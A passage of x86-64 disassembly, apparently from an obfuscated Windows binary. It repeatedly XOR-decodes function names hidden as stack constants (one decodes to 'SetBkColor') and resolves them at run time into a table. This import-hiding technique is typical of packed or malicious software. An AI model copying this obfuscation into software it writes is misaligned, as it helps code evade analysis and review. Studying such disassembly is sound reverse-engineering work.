movabs rax, 0x545d8337d5d00b70
mov qword [rbp + 0x8110], rax
movabs rax, 0x44124d5b5ffafeb2
mov qword [rbp + 0x8118], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x8110]
pxor xmm0, xmmword [rbp + 0x80f0]
movdqa xmmword [rbp + 0x80f0], xmm0
pxor xmm2, xmm1
movdqa xmmword [rbp + 0x8100], xmm2
lea rcx, [rbp + 0x1850]
lea rax, [rbp + 0x80f0]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0xc0]
movups xmmword [rcx + 0x40], xmm0
lea r8, [rbp + 0x1850]
mov rdx, rsi
mov rcx, r12
call fcn.1400511f0
mov qword [r14 + 0xe0], rax
movabs rax, 0x57b1d570f35a20c
mov qword [rbp + 0x80f0], rax
movabs rax, 0x623f0530a1a26fa8
mov qword [rbp + 0x80f8], rax
xorps xmm2, xmm2
movabs rax, 0x69145e3c4d41c75f
mov qword [rbp + 0x8110], rax
movabs rax, 0x623f0530a1a21dc7
mov qword [rbp + 0x8118], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x8110]
pxor xmm0, xmmword [rbp + 0x80f0]
movdqa xmmword [rbp + 0x80f0], xmm0
pxor xmm2, xmm1
movdqa xmmword [rbp + 0x8100], xmm2
lea rcx, [rbp + 0x1250]
lea rax, [rbp + 0x80f0]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x90], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0xa0], xmm0
lea r8, [rbp + 0x1250]
mov rdx, rsi
mov rcx, r12
call fcn.1400511f0
mov qword [r14 + 0xe8], rax
movabs rax, 0x400dc39c52b542e
mov qword [rbp + 0x80f0], rax
movabs rax, 0x58703094a7af7bb3
mov qword [rbp + 0x80f8], rax
xorps xmm2, xmm2
movabs rax, 0x4574a45c915f317d
mov qword [rbp + 0x8110], rax
movabs rax, 0x58703094c9c812df
mov qword [rbp + 0x8118], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x80f0]
pxor xmm0, xmmword [rbp + 0x8110]
movdqa xmmword [rbp + 0x80f0], xmm0
pxor xmm2, xmm1
movdqa xmmword [rbp + 0x8100], xmm2
lea rcx, [rbp + 0x1920]
lea rax, [rbp + 0x80f0]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0xc0]
movups xmmword [rcx + 0x40], xmm0
lea r8, [rbp + 0x1920]
mov rdx, rsi
mov rcx, r12
call fcn.1400511f0
mov qword [r14 + 0xf0], rax
movabs rax, 0x1ed83c77be7bdf1a
mov qword [rbp + 0x80f0], rax
movabs rax, 0x3c1680b44b26bf64
mov qword [rbp + 0x80f8], rax
movabs rax, 0x116daa9bc990cd
mov qword [rbp + 0x8100], rax
movabs rcx, 0x111126b1bd5da0bc
mov qword [rbp + 0x8108], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x5bac4412ea0fba5d
mov qword [rbp + 0x8130], rax
movabs rax, 0x5579d0c02543cb1c
mov qword [rbp + 0x8138], rax
movabs rax, 0x116deba9fae4a3
mov qword [rbp + 0x8140], rax
mov qword [rbp + 0x8148], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x80f0]
pxor xmm0, xmmword [rbp + 0x8130]
movdqa xmmword [rbp + 0x30], xmm0
movdqa xmm1, xmmword [rbp + 0x8100]
pxor xmm1, xmmword [rbp + 0x8140]
movdqa xmmword [rbp + 0x40], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x50], xmm4
pxor xmm5, xmm3
movdqa xmmword [rbp + 0x60], xmm5
lea rax, [rbp + 0x40a0]
lea rcx, [rbp + 0x30]
mov rdx, r13
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x1400300b0
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
lea r8, [rbp + 0x40a0]
mov rdx, rsi
mov rcx, r12
call fcn.1400511f0
mov qword [r14 + 0xf8], rax
movabs rax, 0x15ea77880801c45a
mov qword [rbp + 0x80f0], rax
movabs rax, 0x4d7f7813cfb24363
mov qword [rbp + 0x80f8], rax
xorps xmm2, xmm2
movabs rax, 0x5a9e0fed5c75bc1f
mov qword [rbp + 0x8110], rax
movabs rax, 0x4d7f7813cff33716
mov qword [rbp + 0x8118], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x80f0]
pxor xmm0, xmmword [rbp + 0x8110]
movdqa xmmword [rbp + 0x80f0], xmm0
pxor xmm2, xmm1
movdqa xmmword [rbp + 0x8100], xmm2
lea rcx, [rbp + 0x1530]
lea rax, [rbp + 0x80f0]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x90], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0xa0], xmm0
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0xb0], xmm1
lea r8, [rbp + 0x1530]
mov rdx, rsi
mov rcx, r12
call fcn.1400511f0
mov qword [r14 + 0x100], rax
movabs rax, 0x70a286a0d34e925
mov qword [rbp + 0x80f0], rax
movabs rax, 0x63ea2ecb926bef8f
mov qword [rbp + 0x80f8], rax
xorps xmm2, xmm2
movabs rax, 0x65454d1e68588c61
mov qword [rbp + 0x8110], rax
movabs rax, 0x63ea2ecbe6088ae5
mov qword [rbp + 0x8118], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x80f0]
pxor xmm0, xmmword [rbp + 0x8110]
movdqa xmmword [rbp + 0x80f0], xmm0
pxor xmm2, xmm1
movdqa xmmword [rbp + 0x8100], xmm2
lea rcx, [rbp + 0x19f0]
lea rax, [rbp + 0x80f0]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0xc0]
movups xmmword [rcx + 0x40], xmm0
lea r8, [rbp + 0x19f0]
mov rdx, rsi
mov rcx, r12
call fcn.1400511f0
mov qword [r14 + 0x108], rax
movabs rax, 0xace1d91bdc58288
mov qword [rbp + 0x80f0], rax
movabs rcx, 0x4e586afd062deac7
mov qword [rbp + 0x80f8], rcx
xorps xmm2, xmm2
movabs rax, 0x498a78e5d8a9e7cc
mov qword [rbp + 0x8110], rax
mov qword [rbp + 0x8118], rcx
xorps xmm0, xmm0
movdqa xmm1, xmmword [rbp + 0x80f0]
pxor xmm1, xmmword [rbp + 0x8110]
pxor xmm2, xmm0
movaps xmmword [rbp + 0xe30], xmm1
movaps xmmword [rbp + 0xe40], xmm2
movaps xmm0, xmmword [rbp + 0x2f0]
movaps xmmword [rbp + 0xe50], xmm0
movaps xmm1, xmmword [rbp + 0x300]
movaps xmmword [rbp + 0xe60], xmm1
movaps xmm0, xmmword [rbp + 0x310]
movaps xmmword [rbp + 0xe70], xmm0
movaps xmm1, xmmword [rbp + 0x320]
movaps xmmword [rbp + 0xe80], xmm1
movaps xmm0, xmmword [rbp + 0x330]
movaps xmmword [rbp + 0xe90], xmm0
movaps xmm1, xmmword [rbp + 0x340]
movaps xmmword [rbp + 0xea0], xmm1
movaps xmm0, xmmword [rbp + 0x350]
movaps xmmword [rbp + 0xeb0], xmm0
lea r8, [rbp + 0xe30]
mov rdx, rsi
mov rcx, r12
call fcn.1400511f0
mov qword [r14 + 0x110], rax
movabs rax, 0xf7c7a93a446c727
mov qword [rbp + 0x80f0], rax
movabs rax, 0x79d29d7330a1afc3
mov qword [rbp + 0x80f8], rax
xorps xmm2, xmm2
movabs rax, 0x6c150cf6e032a260
mov qword [rbp + 0x8110], rax
movabs rax, 0x79d29d0040c0eca6
mov qword [rbp + 0x8118], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x8110]
pxor xmm0, xmmword [rbp + 0x80f0]
movdqa xmmword [rbp + 0x80f0], xmm0
pxor xmm2, xmm1
movdqa xmmword [rbp + 0x8100], xmm2
lea rcx, [rbp + 0x2090]
lea rax, [rbp + 0x80f0]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
lea r8, [rbp + 0x2090]
mov rdx, rsi
mov rcx, r12
call fcn.1400511f0
mov qword [r14 + 0x118], rax
movabs rax, 0x44f1476152d8895
mov qword [rbp + 0x80f0], rax
movabs rax, 0x693e1d6129cf1109
mov qword [rbp + 0x80f8], rax
xorps xmm2, xmm2
movabs rax, 0x6a2a7d1a5659edd2
mov qword [rbp + 0x8110], rax
movabs rax, 0x693e1d154aaa437d
mov qword [rbp + 0x8118], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x8110]
pxor xmm0, xmmword [rbp + 0x80f0]
movdqa xmmword [rbp + 0x80f0], xmm0
pxor xmm2, xmm1
movdqa xmmword [rbp + 0x8100], xmm2
lea rcx, [rbp + 0x2170]
lea rax, [rbp + 0x80f0]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
lea r8, [rbp + 0x2170]
mov rsi, qword [rbp + 0x260]
mov rdx, rsi
mov rcx, r12
call fcn.1400511f0
mov qword [r14 + 0x120], rax
movabs rax, 0xbdd0913bbe04298
mov qword [rbp + 0x80f0], rax
movabs rax, 0x77f15eea84ed5e3e
mov qword [rbp + 0x80f8], rax
xorps xmm2, xmm2
movabs rax, 0x64b9677aec9427df
mov qword [rbp + 0x8110], rax
movabs rax, 0x77f15e9ee7880c49
mov qword [rbp + 0x8118], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x8110]
pxor xmm0, xmmword [rbp + 0x80f0]
movdqa xmmword [rbp + 0x80f0], xmm0
pxor xmm1, xmm2
movdqa xmmword [rbp + 0x8100], xmm1
lea rcx, [rbp + 0x2250]
lea rax, [rbp + 0x80f0]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
lea r8, [rbp + 0x2250]
mov rdx, rsi
mov rcx, r12
call fcn.1400511f0
mov qword [r14 + 0x128], rax
movabs rax, 0xa088ca58f3eb562
mov qword [rbp + 0x80f0], rax
movabs rax, 0x61978503bb984a42
mov qword [rbp + 0x80f8], rax
xorps xmm2, xmm2
movabs rax, 0x655cf8cbea57d921
mov qword [rbp + 0x8110], rax
movabs rax, 0x6197eb66deea2911
mov qword [rbp + 0x8118], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x8110]
pxor xmm0, xmmword [rbp + 0x80f0]
movdqa xmmword [rbp + 0x80f0], xmm0
pxor xmm1, xmm2
movdqa xmmword [rbp + 0x8100], xmm1
lea rcx, [rbp + 0x2330]
lea rax, [rbp + 0x80f0]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea r8, [rbp + 0x2330]
mov rdx, rsi
mov rcx, r12
call fcn.1400511f0
mov qword [r14 + 0x130], rax
movabs rax, 0x280b61cc411bfb1
mov qword [rbp + 0x80f0], rax
movabs rax, 0x6b58fc0feecd71d5
mov qword [rbp + 0x80f8], rax
xorps xmm2, xmm2
movabs rax, 0x6dd4d879a163dce2
mov qword [rbp + 0x8110], rax
movabs rax, 0x6b5888618ba41d96
mov qword [rbp + 0x8118], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x80f0]
pxor xmm0, xmmword [rbp + 0x8110]
movdqa xmmword [rbp + 0x80f0], xmm0
pxor xmm1, xmm2
movdqa xmmword [rbp + 0x8100], xmm1
lea rcx, [rbp + 0x2420]
lea rax, [rbp + 0x80f0]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea r8, [rbp + 0x2420]
mov rdx, rsi
mov rcx, r12
call fcn.1400511f0
mov qword [r14 + 0x138], rax
movabs rax, 0x12eaa1577832fd52
mov qword [rbp + 0x80f0], rax
movabs rax, 0x438414099853d74
mov qword [rbp + 0x80f8], rax
movabs rax, 0x1f4be89d76
mov qword [rbp + 0x8100], rax
movabs rcx, 0x716482ba807
mov qword [rbp + 0x8108], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x758fd3383e469815
mov qword [rbp + 0x8130], rax
movabs rax, 0x6a511624f7f05206
mov qword [rbp + 0x8138], rax
movabs rax, 0x1f4b9ff212
mov qword [rbp + 0x8140], rax
mov qword [rbp + 0x8148], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x80f0]
pxor xmm0, xmmword [rbp + 0x8130]
movdqa xmmword [rbp + 0x30], xmm0
movdqa xmm1, xmmword [rbp + 0x8100]
pxor xmm1, xmmword [rbp + 0x8140]
movdqa xmmword [rbp + 0x40], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x50], xmm4
pxor xmm3, xmm5
movdqa xmmword [rbp + 0x60], xmm3
lea rax, [rbp + 0x3050]
lea rcx, [rbp + 0x30]
mov rdx, r13
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140030a80
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
lea r8, [rbp + 0x3050]
mov rdx, rsi
mov rcx, r12
call fcn.1400511f0
mov qword [r14 + 0x140], rax
movabs rax, 0x10e044c8ce088780
mov qword [rbp + 0x80f0], rax
movabs rax, 0x634a2bd1bf2f8d9f
mov qword [rbp + 0x80f8], rax
xorps xmm2, xmm2
movabs rax, 0x7f842aa1997ce2c7
mov qword [rbp + 0x8110], rax
movabs rax, 0x634a7ca5c74ad9e8
mov qword [rbp + 0x8118], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x80f0]
pxor xmm0, xmmword [rbp + 0x8110]
movdqa xmmword [rbp + 0x80f0], xmm0
pxor xmm1, xmm2
movdqa xmmword [rbp + 0x8100], xmm1
lea rcx, [rbp + 0x1fa0]
lea rax, [rbp + 0x80f0]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea r8, [rbp + 0x1fa0]
mov rdx, rsi
mov rcx, r12
call fcn.1400511f0
mov qword [r14 + 0x158], rax
movabs rax, 0x1ed18d0ab5e610c3
mov qword [rbp + 0x80b0], rax
movabs rcx, 0x5ae6653f29fecdf
mov qword [rbp + 0x80b8], rcx
movabs rax, 0x1ed1fb63f18a658e
mov qword [rbp + 0x80c0], rax
mov qword [rbp + 0x80c8], rcx
movdqa xmm0, xmmword [rbp + 0x80c0]
pxor xmm0, xmmword [rbp + 0x80b0]
movaps xmmword [rbp + 0xcc0], xmm0
movaps xmm0, xmmword [rbp - 0x40]
movaps xmmword [rbp + 0xcd0], xmm0
movaps xmm1, xmmword [rbp - 0x30]
movaps xmmword [rbp + 0xce0], xmm1
movaps xmm0, xmmword [rbp - 0x20]
movaps xmmword [rbp + 0xcf0], xmm0
movaps xmm1, xmmword [rbp - 0x10]
movaps xmmword [rbp + 0xd00], xmm1
movaps xmm0, xmmword [rbp]
movaps xmmword [rbp + 0xd10], xmm0
movaps xmm1, xmmword [rbp + 0x10]
movaps xmmword [rbp + 0xd20], xmm1
lea r8, [rbp + 0xcc0]
mov rdx, rdi
mov rcx, r12
call fcn.1400511f0
mov qword [r14 + 0x160], rax
movabs rax, 0x32dcbccef51d7c0
mov qword [rbp + 0x80f0], rax
movabs rax, 0x4b0730c7092c6a97
mov qword [rbp + 0x80f8], rax
xorps xmm2, xmm2
movabs rax, 0x5341aab99b23be96
mov qword [rbp + 0x8110], rax
movabs rax, 0x4b0744a46c5805e5
mov qword [rbp + 0x8118], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x80f0]
pxor xmm0, xmmword [rbp + 0x8110]
movdqa xmmword [rbp + 0x80f0], xmm0
pxor xmm1, xmm2
movdqa xmmword [rbp + 0x8100], xmm1
lea rcx, [rbp + 0x2510]
lea rax, [rbp + 0x80f0]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
